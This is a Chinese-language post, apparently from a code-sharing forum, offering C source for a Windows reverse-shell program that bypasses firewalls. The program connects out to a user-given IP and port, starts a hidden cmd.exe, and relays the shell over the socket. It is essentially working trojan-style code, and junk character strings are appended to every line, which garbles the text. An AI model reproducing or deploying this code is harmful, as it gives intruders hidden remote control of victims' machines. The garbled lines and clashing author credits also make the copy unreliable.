这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;"
*`
(r4VIlap
/* ============================== uLM_KZ
Rebound port in Windows NT +CT$/k
By wind,2006/7 eNFUjDm
===============================*/ ODEXQl}R
#include wjJ1Psnx
#include 2>k)=hl:
R6XMBYK^
#pragma comment(lib,"wsock32.lib") m4wTg
8LJ
@RIEO%S
void OutputShell(); c1J)yv1y
SOCKET sClient; 0AKwZ'
&H
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E3skC%}
|mmG
s
void main(int argc,char **argv)
1}E@lOc
{
A*~1Uz\t
WSADATA stWsaData; lKUm_; m
int nRet; Bed jw =B
SOCKADDR_IN stSaiClient,stSaiServer; ]P$DAi
<\g&%c,
if(argc != 3) :(`>bY
{ CJixK>Y^
printf("Useage:\n\rRebound DestIP DestPort\n"); ~bTae =FP
return; ;x^,t@ xge
} S\5k'ifh
b
H_pNx81
WSAStartup(MAKEWORD(2,2),&stWsaData); NCFV
>}{-!
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ue"?S6
t1{}-JlA
stSaiClient.sin_family = AF_INET; {7>CA'>
stSaiClient.sin_port = htons(0); "D(8]EG=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -3tBN*0+
Rl4zTAI
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OX/.v?c
{ WnzPPh3PJ
printf("Bind Socket Failed!\n"); oQ nk+> }%
return; )K>@$6H+2
} DS}rFU
5Y=\~,%\oH
stSaiServer.sin_family = AF_INET; t=rAcyNM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s;7qNwYO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %*c|[7Z~V
c dbSv=r
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dMmka
{ -QPWi2:k
printf("Connect Error!"); {IHK<aW
return; aSkx#mV
} hO.G'q$V
OutputShell(); qd~98FS
} 8]":[s6x
<>i+R#u{
void OutputShell() n qLAby_
{ `F\:XuY
char szBuff[1024]; mv*T=N8fC
SECURITY_ATTRIBUTES stSecurityAttributes; |cGeL[
OSVERSIONINFO stOsversionInfo; #S%Y;ilq
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zWs*kTtA
STARTUPINFO stStartupInfo; .*~u
char *szShell; /cC6qhkp%
PROCESS_INFORMATION stProcessInformation; 9m!! b{
unsigned long lBytesRead; QlYs7zZ
TUUE(sLA
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ioNa~F&
YB
B$uGA
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p;=kH{uu
stSecurityAttributes.lpSecurityDescriptor = 0; ),Ho( %T\
stSecurityAttributes.bInheritHandle = TRUE; )_^WpyzF1
^I<T+X+<
MJKl]&
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cYM~IA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U+PCvl=x
Cz@FZb8
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); TDFO9%2c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V.Ba''E7
stStartupInfo.wShowWindow = SW_HIDE; ]vQ?]d?>a
stStartupInfo.hStdInput = hReadPipe; $7n#\h
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iSr`fQw#
Ivt} o_b*
GetVersionEx(&stOsversionInfo); r7"A u"
dH2]ZE0V
switch(stOsversionInfo.dwPlatformId) bV$8
>[`
{ 3$N %iE6
case 1: ^jha:d
szShell = "command.com"; 5Z6-R}uXk
break; MkW1FjdP
default: ,+/9K)X
szShell = "cmd.exe"; { w8
!K
break; ]\RSHz
} *$Lz2 ]
Z-t}6c'Kg
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :-u-hO5*8
`e?;vA&
send(sClient,szMsg,77,0); G?1x+H;o5
while(1) qTTn51
{ 9R@abm,I
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~+<xFi
if(lBytesRead) 2#b<d?"
{ dT]L-uRZgy
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !jAWNK6
send(sClient,szBuff,lBytesRead,0); jj3Pf>D+k
} Q&upxE4-~
else <DXmZ1
{ D#d8 ^U
lBytesRead=recv(sClient,szBuff,1024,0); tCbr<Ug
if(lBytesRead<=0) break; w`j*W$82
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [T 4 pgt'H
} lj EB
} Bzu(XQ
/1 US,
return; V9zywM
}